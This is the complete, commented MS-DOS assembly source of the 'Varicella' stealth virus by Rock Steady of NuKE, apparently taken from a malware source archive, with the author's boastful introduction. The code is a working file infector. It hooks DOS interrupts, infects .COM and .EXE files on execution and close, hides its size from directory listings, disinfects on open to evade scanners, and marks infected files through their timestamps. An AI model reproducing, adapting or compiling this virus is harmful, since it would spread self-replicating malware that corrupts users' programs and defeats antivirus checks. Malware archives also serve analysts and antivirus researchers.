MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.varicell.asm
2021-01-12 18:04:54 -06:00

866 lines
46 KiB
NASM

NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
KE "The Varicella Virus Source Codes -N
E- Nu
-N uK
Nu By KE
uK Rock Steady E-
KE -N
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
ahh, NuKE PoX viruses will never end... Well I noticed a few flaws and faults
in code in the old NuKE PoX virus version 2.0, which I wanted to refine. This
time I had a lot of time, and I _fully_ commented the source codes.
% Improvements %
The most major improvement is the infection routine, I have created a generic
method that will always use the same infection/disinfection routine. If you
remember NuKE PoX v2.0 you noticed that I copied whole blocks of the code twice,
which gave the virus a size of 1800 Bytes! This version hovers at 1483 bytes,
and it's far from tight, but it's EXTREMELY reliable! Meaning this baby should
never crash for any reason. And it has _many_ added features that N-Pox v2.0
didn't have!
% Introduction to the ideology of the Stealth Virus %
Like the SVC viruses, this virus will `disinfect' on the fly. And to the DIMWIT
that said SVC doesn't disinfect by rewriting the program on disk, GO CHECK YOUR
INFO NITWIT. The SVC viruses will disinfect a file when opened, the SVC virus
will actually remove the virus from the infected program. It will NOT attempt
a disinfection in memory only! It does have the ability to do this to a
certain extent, if you execute the file, and if you jump towards the end
of the file by Int21h/4202h the SVC virus will fool DOS to think that the file
is not infected, whereby it really is. But this method has a MAJOR flaw, one
flaw is exercised by F-Prot anti-virus, to defeat this dumb method.
The major flaw is that these viruses _cannot_ keep track of file pointers, it
would take too much code to exercise this. So if you read a file from the
beginning and read sequentially toward the end, surely enough you will
encounter the SVC virus, because it does not have the ability to keep track
of the file pointer. So in order to fix this, SVC will do a _real_ disinfection
of the file on disk. Therefore in all aspects the file will look clean, as it
_is_ clean! Also note, that the SVC viruses also infect System Device drivers,
this is _rarely_ noted, maybe because people use VSUM as a reference?
% Varicella Features %
The virus will only infect .com and .exe generic files. I have removed the
.ovl infections because of certain crashes that persist with certain large
programs. No virus to date successfully does this for some reason.
The virus will hide its file length by FCB directory method (Int21h/ah=11h,12h)
and by File Handles method (Int21h/ah=4Eh,4Fh).
The virus will disinfect the file on opens & extended opens via
(Int21h/ah=3Fh,6Ch). The virus will also disinfect files as they are executed,
(Int21h/ah=4Bh) and will later reinfect it when it has terminated.
The virus will infect on closing (Int21h/ah=3Eh) and it uses the very
sophisticated Job File Table method (The List of List).
Infection is denoted by the seconds field will equal the day of the month! This
method is _a lot_ better than having the seconds field to 60 or 62, because many
AV programs flag on invalid seconds field. Therefore now the seconds field will
be from a number 1->31 (Days in a month), and only with a 6% chance of an
invalid second field stamp. Also in order not to create problems, the last two
bytes of the virus _must_ be DBh,DBh. Therefore the virus uses TWO methods of
detecting infection, because we wouldn't want to `disinfect' a file that isn't
infected, so we must be 100% sure.
I found it no use to have a `fake' disinfection routine, whereby it fakes a
disinfection, for the reason that this method contains several flaws. And I
found that testing this virus on my PC with a 40 Meg MFM 65ms drive, showed
_very_ little signs of abnormality. So in speed wise, it's very fast, what is
a 1-2 millisecond more, (1/100s of a second).
When disinfecting a file, the virus even puts back the original seconds field
time stamp, leaving absolutely no trace of its existence! How many viruses do
that? huh?
% To Come %
Well I already have a multi-partition version of this virus, I'm currently
tring to add NED polymorphic possibilities to this virus. This will be a nice
task, as NED is variable in length, therefore I have to save the original
file length, or I will fix NED to be constant in length. Nevertheless you
should see it coming soon.
% About the Name %
Well I didn't want to call this N-Pox, because it has NO code similarities
with N-Pox, the only thing they share is the method of going resident.
But I called this "Varicella" because, Varicella is the medical term for
(Chicken Pox) that adults get! When a child gets the Pox, you call it Chicken
Pox, when an adult gets it, you call it Varicella! So I found it appropriate
to call this Varicella because it is perhaps the `adult' or later out come
of the N-Pox virus. <hehe>
;=<VARICELL.ASM>================================================================
; (c) NuKE Software Development 1991, 1992, 1993
;
; VARICELLA VIRUS (Size 1483)
;
; By Rock Steady
;
; TASM VARICELL;
; TLINK/T VARICELL;
;
virus_size equ last - init_virus ;virus size (bytes)
mut1 equ 3
mut2 equ 1
mut3 equ 103h ;offset in memory
seg_a segment byte public
assume cs:seg_a,ds:seg_a
org 100h ;compile to .com
start: jmp init_virus
;-------------------------------------------------------------------------------
init_virus: call doit_now ;begin virus
doit_now: pop bp ;pop call offset
sub bp,offset doit_now ;fix it with pointer
push ax ;save registers
push ds
push es
mov ax,0abcdh ;check if virus is
int 13h ;alive in memory
jmp next_code1 ;force jump
virus_here: jmp exit_com ;error jump exit
next_code1: cmp bx,0abcdh ;cmp bx if virus alive
jnz install_virus
jmp virus_here ;yes, skip memory part
install_virus: push bx ;save registers
push cx
push dx
push si
push di
push ds
xor dx,dx ;0 value to dx
mov ds,dx ;put that in ds
les si,dword ptr ds:[0084h] ;get int21 vector
mov word ptr cs:[int21][bp],si ;save int21 offset
mov word ptr cs:[int21+2][bp],es ;save int21 segment
les si,dword ptr ds:[0070h] ;get int1c vector
mov word ptr cs:[int1c][bp],si ;save int1c offset
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
les si,dword ptr ds:[004ch] ;get int13 vector
mov word ptr cs:[int13][bp],si ;save int13 offset
mov word ptr cs:[int13+2][bp],es ;save int13 segment
pop ds ;DS=PSP (.exe only)
push ds ;save DS
mov ax,ds ;ds=cx
dec ax ;dec cx, cx=mcb
mov es,ax ;es=cx, mcb
mov bx,es:mut1 ;bx=es:0003, mem size
mov dx,virus_size ;dx=virus size (bytes)
mov cl,4
shr dx,cl ;convert bytes to 16k
add dx,4 ;paragraphs + 1
mov cx,es ;cx=psp segment
sub bx,dx ;sub virus size from
inc cx ;new mem address
mov es,cx ;new segment
mov ah,4ah ;set the block size
int 21h
jc exit_mem
mov ah,48h
dec dx ;alloc the mem
mov bx,dx ;bx=# of para blocka
int 21h
jc exit_mem
dec ax ;new segment add
mov es,ax ;ax=es=mcb
mov cx,8h ;DOS is the owner
mov es:mut2,cx ;put it in mcb
sub ax,0fh
mov di,mut3 ;new offset to go
mov es,ax ;es=segment
mov si,bp ;add delta offset
add si,offset init_virus ;begining of virus
mov cx,virus_size ;our size
push cs ;get the correct
pop ds ;segment in ds
cld ;clear direction to +
repne movsb ;move us
mov ds,cx ;ds=0000
cli ;disable ints
mov word ptr ds:[0084h],offset int21_handler ;hook int21
mov word ptr ds:[0086h],es
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
mov word ptr ds:[0072h],es
mov word ptr ds:[004ch],offset int13_handler ;hook int13
mov word ptr ds:[004eh],es
sti ;enable ints
exit_mem: pop ds ;restore 'em
pop di
pop si
pop dx
pop cx
pop bx
exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
je exit_exe_file ;yupe exit exe file
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
je exit_exe_file ;yupe exit exe file
push cs ;fix cs=ds for .com
pop ds
mov bx,offset buffer ;get first 3 bytes
add bx,bp ;fix delta
mov ax,[bx] ;move first 2 bytes
mov word ptr ds:[100h],ax ;put em in the beginning
inc bx ;inc pointer
inc bx
mov al,[bx] ;get last of 3rd byte
mov byte ptr ds:[102h],al ;put that in place
pop es
pop ds
pop word ptr cs:[ax_reg][bp] ;save ax else where
mov ax,100h
push ax ;fake a CALL & RETN
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
retn ;link to 100h
exit_exe_file: mov dx,ds ;get psp=ds seg
add dx,10h ;add 16bytes to seg
pop es
pop ds
pop ax
add word ptr cs:[buffer+22][bp],dx ;fix segments
add dx,word ptr cs:[buffer+14][bp]
cli
mov ss,dx ;restore ss
mov sp,word ptr cs:[buffer+16][bp] ;and sp
sti
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
ax_reg dd 0
bp_reg dd 0
int13 dd 0
int1c dd 0
int21 dd 0
;===============================================================================
; Int 13h Handler
;===============================================================================
int13_handler:
cmp ax,0abcdh ;virus test
je int13_test ;yupe
int13call: jmp dword ptr cs:[int13] ;original int13
int13_test: mov bx,ax ;fix
iret
;===============================================================================
; Int 1Ch Handler
;===============================================================================
int1c_handler:
iret
;-------------------------------------------------------------------------------
; FCB Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
fcb_dir: call calldos21 ;get the fcb block
test al,al ;test for error
jnz fcb_out ;jmp if error
push ax ;save registers
push bx
push cx
push es
mov ah,51h ;get current psp
call calldos21 ;call int21
mov es,bx ;es=segment of psp
cmp bx,es:[16h] ;psp of command.com?
jnz fcb_out1 ;no, then jmp
mov bx,dx ;ds:bx=fcb
mov al,[bx] ;1st byte of fcb
push ax ;save it
mov ah,2fh ;get dta
call calldos21 ;es:bx <- dta
pop ax ;get first byte
inc al ;al=ffh therefor al=ZR
jnz fcb_old ;if != ZR jmp
add bx,7h ;extended fcb here, +7
fcb_old: mov ax,es:[bx+17h] ;get file time stamp
mov cx,es:[bx+19h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal?
jnz fcb_out1 ;nope, exit then
sub word ptr es:[bx+1dh],virus_size ;sub away virus_size
sbb word ptr es:[bx+1fh],0 ;sub with carry flag
fcb_out1: pop es ;restore registers
pop cx
pop bx
pop ax
fcb_out: iret ;return control
;-------------------------------------------------------------------------------
; ASCIIZ Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
dta_dir: call calldos21 ;get results to dta
jb dta_out ;if error, split
push ax ;save register
push bx
push cx
push es
mov ah,2fh ;get current dta
call calldos21 ;es:bx <- dta
mov ax,es:[bx+16h] ;get file time stamp
mov cx,es:[bx+18h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal
jnz dta_out1 ;nope, exit then
sub word ptr es:[bx+1ah],virus_size ;sub away virus_size
sbb word ptr es:[bx+1ch],0 ;sub with carry flag
dta_out1: pop es ;restore registers
pop cx
pop bx
pop ax
dta_out: retf 0002h ;pop 2 words of stack
;===============================================================================
; Int 21h Handler
;===============================================================================
int21_handler:
cmp ah,11h ;FCB find first match
je old_dir
cmp ah,12h ;FCB find next match
je old_dir
cmp ah,4eh ;Find first match
je new_dir
cmp ah,4fh ;Find next match
je new_dir
cmp ah,3dh ;Opening a file
je file_open
cmp ah,6ch ;Ext_opening a file
je file_ext_open
cmp ah,3eh ;closing a file
je file_close
cmp ah,4bh ;Execution of a file
je file_execute
int21call: jmp dword ptr cs:[int21] ;original int21
old_dir: jmp fcb_dir ;fcb file find
new_dir: jmp dta_dir ;new asciiz file find
file_open: jmp open_file ;disinfect opening file
file_ext_open: jmp open_ext_file ;disinfect opening file
file_close: jmp close_file ;infect closing file
file_execute: call check_extension ;check for ok ext
cmp byte ptr cs:[com_ext],1 ;is it a com?
je exec_disinfect ;yupe disinfect it
cmp byte ptr cs:[exe_ext],1 ;is it a exe?
je exec_disinfect ;yupe disinfect it
jmp SHORT int21call
exec_disinfect: call exec_disinfect1 ;Disinfect file
mov word ptr cs:[ax_reg],dx
pushf ;fake an int
call dword ptr cs:[int21] ;call dos
xchg word ptr cs:[ax_reg],dx ;restore dx
mov byte ptr cs:[close],0 ;reset flag..
push ax ;store 'em
push bx
push cx
push dx
push si
push di
push es
push ds
closing_infect: mov ax,3524h ;get error handler
call calldos21 ;call dos
push es ;save es:bx= int_24
push bx ;error handler
push ds ;ds:dx= asciiz string
push dx
push cs ;cs=ds
pop ds
mov dx,offset int21_handler ;hook error handler
mov ax,2524h ;with our int24h
call calldos21
pop dx ;restore ds:dx asciiz
pop ds ;string
cmp byte ptr cs:[close],0 ;Are we closing file?
je exec_get_att ;nope, then jmp
mov ax,word ptr cs:[handle] ;yupe, ax=file handle
jmp exec_open_ok ;jmp so you don't open
;the file twice...
exec_get_att: mov ax,4300h ;get file attribs
call calldos21 ;call dos
jnc exec_attrib ;no, error jmp
jmp exec_exit2 ;ERROR - split
exec_attrib: mov byte ptr cs:[attrib],cl
test cl,1 ;check bit 0 (read_only)
jz exec_attrib_ok ;if bit0=0 jmp
dec cx ;else turn of bit_0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
exec_attrib_ok: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc exec_open_ok ;ok, no error jmp
jmp exec_exit2 ;ERROR - split
exec_open_ok: xchg bx,ax ;bx=file handler
push cs ;cs=ds
pop ds
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[org_time],cx
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz exec_time_ok ;nope, file not infected
jmp exec_exit3 ;FILE INFECTED
exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits
or word ptr cs:[old_time],dx ;seconds=day of month
mov ax,4200h ;reset ptr to beginning
xor cx,cx ;(as opened files may
xor dx,dx ; have ptr anywhere,
call calldos21 ; so be smart!)
mov word ptr cs:[marker],0DBDBh ;File Infection marker
mov dx,offset ds:[buffer] ;ds:dx buffer
mov cx,18h ;read 18h bytes
mov ah,3fh ;read from handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes jmp
sub cx,ax ;did we read 18h bytes?
jnz exec_exit1 ;if no exit
mov dx,cx ;cx=0 dx=0
mov ax,4202h ;jmp to EOF
call calldos21 ;call dos
jc exec_exit1 ;error? exit if so.
mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz
mov word ptr cs:[filesize],dx ;save upper 16bit fileSz
call chkbuf ;check if .exe
jz exec_cool ;jmp if .exe file
cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k?
jb exec_cool ;if less jmp!
exec_exit1: jmp exec_exit3 ;exit!
exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning
mov cx,virus_size ;cx=virus size
mov ah,40h ;write to handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes exit
sub cx,ax ;cx=ax bytes?
jnz exec_exit1 ;not equal exit
mov dx,cx ;cx=0 dx=0
mov ax,4200h ;jmp to top of file
call calldos21 ;call dos
jc exec_exit1 ;error, then exit
mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize
call chkbuf ;check if .exe
jnz exec_com_file ;if !=.exe jmp
mov dx,word ptr cs:[filesize] ;get upper 16bit
mov cx,4 ;cx=0004
mov si,word ptr cs:[buffer+8] ;get exe header size
shl si,cl ;mul by 16
sub ax,si ;exe_header - filesize
sbb dx,0h ;sub with carry
mov cx,10h ;cx=0010
div cx ;ax=length in para
;dx=remaider
mov word ptr cs:[buffer+20],dx ;New IP offset address
mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs)
add dx,virus_size+100h ;Dx=virus_size+256
mov word ptr cs:[buffer+16],dx ;New SP entry
mov word ptr cs:[buffer+14],ax ;New SS (in para)
add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para
mov ax,word ptr cs:[buffer+10] ;ax=min para needed
cmp ax,word ptr cs:[buffer+12] ;cmp with max para
jb exec_size_ok ;jmp if ok!
mov word ptr cs:[buffer+12],ax ;nop, enter new max
exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size
add ax,virus_size ;add virus to it
push ax ;push it
and ah,1 ;
mov word ptr cs:[buffer+2],ax ;restore new value
pop ax ;pop ax
mov cl,9 ;
shr ax,cl ;
add word ptr cs:[buffer+4],ax ;enter fileSz + header
mov dx,offset buffer ;ds:dx=new exe header
mov cx,18h ;cx=18h bytes to write
jmp SHORT exec_write_it ;jmp...
exec_com_file: sub ax,3 ;sub 3 for jmp address
mov word ptr cs:[buffer+1],ax ;store new jmp value
mov byte ptr cs:[buffer],0E9h ;E9h=JMP
mov dx,offset buffer ;ds:dx=buffer
mov cx,3 ;cx=3 bytes
exec_write_it: mov ah,40h ;write to file handle
call calldos21 ;call dos
mov dx,word ptr cs:[old_date] ;restore old date
mov cx,word ptr cs:[old_time] ;restore old time
mov ax,5701h ;write back to file
call calldos21 ;call dos
exec_exit3: mov ah,3eh ;close file
call calldos21 ;call dos
exec_exit2: pop dx ;restore es:bx (the
pop ds ;original int_24)
mov ax,2524h ;put back to place
call calldos21 ;call dos
pop ds
pop es
pop di ;pop registers
pop si
pop dx
xor cx,cx
mov cl,byte ptr cs:[attrib] ;get old file attrib
mov ax,4301h ;put them back
call calldos21 ;call dos
pop cx
pop bx
pop ax
cmp byte ptr cs:[close],0 ;get called by exec?
je exec_good_bye ;yep, then jmp
iret ;else exit now.
exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx
iret ;iret
;-------------------------------------------------------------------------------
; Close File Int21h/ah=3Eh
;-------------------------------------------------------------------------------
close_file: cmp bx,4h ;file handler > 4?
ja close_cont ;jmp if above
jmp int21call ;else exit
close_cont: push ax ;save 'em
push bx
push cx
push dx
push si
push di
push es
push ds
push bx ;save file handler
mov ax,1220h ;get job file table!
int 2fh ;call multiplex
;es:di=JFT for handler
mov ax,1216h ;get system file table
mov bl,es:[di] ;bl=SFT entry
int 2fh ;call multiplex
pop bx ;save file handler
add di,0011h
mov byte ptr es:[di-0fh],02h ;set to read/write
add di,0017h
cmp word ptr es:[di],'OC' ;check for .COM file
jne closing_next_try ;no try next ext
cmp byte ptr es:[di+2h],'M' ;check last letter
je closing_cunt3 ;no, file no good, exit
closing_exit: jmp closing_nogood ;exit
closing_next_try:
cmp word ptr es:[di],'XE' ;check for .EXE file
jne closing_exit ;no, exit
cmp byte ptr es:[di+2h],'E' ;check last letter
jne closing_exit ;no, exit
closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag
mov word ptr cs:[handle],bx ;save handler
jmp closing_infect ;infect file!
closing_nogood: pop ds ;restore 'em
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp int21call ;good bye, baby...
;-------------------------------------------------------------------------------
; Execute Disinfecting routine
;-------------------------------------------------------------------------------
exec_disinfect1 PROC
push ax ;save registers
push bx
push cx
push dx
push ds
mov ax,4300h ;get file attribs
call calldos21 ;call dos
test cl,1h ;is Read-only flag?
jz okay_dis ;no, jmp attribs ok
dec cx ;turn off bit 0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
jnc okay_dis ;No error? then jmp
jmp end_dis ;error? exit!
okay_dis: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc dis_fileopen ;No error? then jmp
jmp end_dis ;Error? exit!
dis_fileopen: xchg bx,ax ;bx=file handle
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz half_way ;nope, file not infected
mov ax,4202h ;jmp to EOF
xor cx,cx ;cx=0
xor dx,dx ;dx=0
call calldos21 ;call dos
push cs ;cs=ds
pop ds ;
mov cx,dx ;dx:ax=file size
mov dx,ax ;save to cx:dx
push cx ;save upper fileSz
push dx ;save lower fileSz
sub dx,1Ch ;filesize-1C=origin byte
sbb cx,0 ;sub with carry
mov ax,4200h ;position ptr
call calldos21 ;call dos
mov ah,3fh ;open file
mov cx,1Ch ;read last 1Ch bytes
mov dx,offset org_time ;put in ds:dx
call calldos21 ;call dos
call chkbuf ;Did it work?
je half ;Yes,Jmp
cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected?
je half ;Yes, then jmp
pop dx
pop cx
half_way: jmp end_dis1 ;exit, error!
half: xor cx,cx ;cx=0
xor dx,dx ;dx=0
mov ax,4200h ;pointer to top of file
call calldos21 ;call dos
mov ah,40h ;write function
mov dx,offset buffer ;ds:dx=buffer
mov cx,18h ;cx=18h bytes to write
call chkbuf ;check if .exe?
jz SHORT dis_exe_jmp ;yupe, jmp
mov cx,3h ;else write 3 bytes
dis_exe_jmp: call calldos21 ;call dos
pop dx ;pop original fileSz
pop cx
sub dx,virus_size ;Sub with virus_size
sbb cx,0 ;sub with carry
mov ax,4200h ;ptr top of virus
call calldos21 ;call dos
mov ah,40h ;write function
xor cx,cx ;write 0 bytes
call calldos21 ;call dos! (new EOF)
mov cx,word ptr ds:[org_time] ;get original time
mov dx,word ptr ds:[old_date] ;get original date
mov ax,5701h ;put back to file
call calldos21 ;call dos
end_dis1: mov ah,3eh ;close file handle
call calldos21 ;call dos
end_dis: pop ds ;restore values
pop dx
pop cx
pop bx
pop ax
ret
exec_disinfect1 ENDP
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=6ch
;-------------------------------------------------------------------------------
open_ext_file: push dx ;save DX
mov dx,si ;asciiz=DS:DX now
jmp open_ext ;jmp
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=3Dh
;-------------------------------------------------------------------------------
open_file: push dx ;save dx (asciiz)
open_ext: call check_extension ;check extension
cmp byte ptr cs:[com_ext],1 ;is it a .com?
je open_ok_ext ;yep, then jmp
cmp byte ptr cs:[exe_ext],1 ;is it a .exe?
je open_ok_ext ;yep, them jmp
jmp open_exit ;ext no good, exit!
open_ok_ext: call exec_disinfect1 ;disinfect file!
open_exit: pop dx ;restore dx
jmp int21call ;exit to dos...
;-------------------------------------------------------------------------------
; Checks Buffer (EXE) Header
;-------------------------------------------------------------------------------
chkbuf PROC
push si ;save register
mov si,word ptr cs:[buffer] ;get first word
cmp si,5A4Dh ;si=ZM?
je chkbuf_ok ;if yes exit
cmp si,4D5Ah ;si=MZ?
chkbuf_ok: pop si ;pop register
ret
chkbuf ENDP
;-------------------------------------------------------------------------------
; Check file Extension
;-------------------------------------------------------------------------------
check_extension PROC
pushf ;save flags
push cx ;save cx,si
push si
mov si,dx ;ds:[si]=asciiz
mov cx,128 ;scan 128 bytes max
mov byte ptr cs:[com_ext],0 ;reset .com flag
mov byte ptr cs:[exe_ext],0 ;reset .exe flag
check_ext: cmp byte ptr ds:[si],2Eh ;scan for "."
je check_ext1 ;jmp if found
inc si ;else inc and loop
loop check_ext ;loop me
check_ext1: inc si ;inc asciiz ptr
cmp word ptr ds:[si],'OC' ;is it .COM
jne check_ext2 ; ~~
cmp byte ptr ds:[si+2],'M' ;is it .COM
je com_file_ext ; ~
check_ext2: cmp word ptr ds:[si],'oc' ;is it .com
jne check_ext3 ; ~~
cmp byte ptr ds:[si+2],'m' ;is it .com
je com_file_ext ; ~
check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE
jne check_ext4 ; ~~
cmp byte ptr ds:[si+2],'E' ;is it .EXE
je exe_file_ext ; ~
check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe
jne check_ext_exit ; ~~
cmp byte ptr ds:[si+2],'e' ;is it .exe
je exe_file_ext ; ~
jmp check_ext_exit ;neither exit
com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file
jmp SHORT check_ext_exit ;jmp short
exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file
check_ext_exit: pop si ;restore
pop cx
popf ;save flags
ret
com_ext db 0 ;flag on=.com file
exe_ext db 0 ;flag on=.exe file
check_extension ENDP
;-------------------------------------------------------------------------------
; Original Int21h
;-------------------------------------------------------------------------------
calldos21 PROC
pushf ;fake int call
call dword ptr cs:[int21] ;call original int_21
ret
calldos21 ENDP
;===============================================================================
; Int 24h Handler
;===============================================================================
int24_handler:
mov al,3 ;don't report error...
iret ;later dude...
;-------------------------------------------------------------------------------
; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
close db 0 ;closing file
;-------------------------------------------------------------------------------
; END - END - END - END - END - END - END
flags dw 0 ;Flags are saved here
attrib db 0 ;file's attrib
filesize dd 0 ;filesize
handle dw 0 ;file handler
old_date dw 0 ;file date
old_time dw 0 ;file time
org_time dw 0 ;original file time
;-------------------------------------------------------------------------------
buffer db 0CDh,020h ; 0 (0) EXE file signature
db 090h,090h ; 2 (2) Length of file
db 090h,090h ; 4 (4) Size of file + header (512k)
db 090h,090h ; 6 (6) # of relocation items
db 090h,090h ; 8 (8) Size of header (16byte para)
db 090h,090h ; A (10) Min para needed (16byte)
db 090h,090h ; C (12) Max para needed (16byte)
db 090h,090h ; E (14) SS reg from start in para.
db 090h,090h ; 10(16) SP reg at entry
db 090h,090h ; 12(18) checksum
db 090h,090h ; 14(20) IP reg at entry
db 090h,090h ; 16(22) CS reg from start in para.
Marker db 0DBh,0DBh ; Marks THIS File as INFECTED!
last:
seg_a ends
end start
================================================================================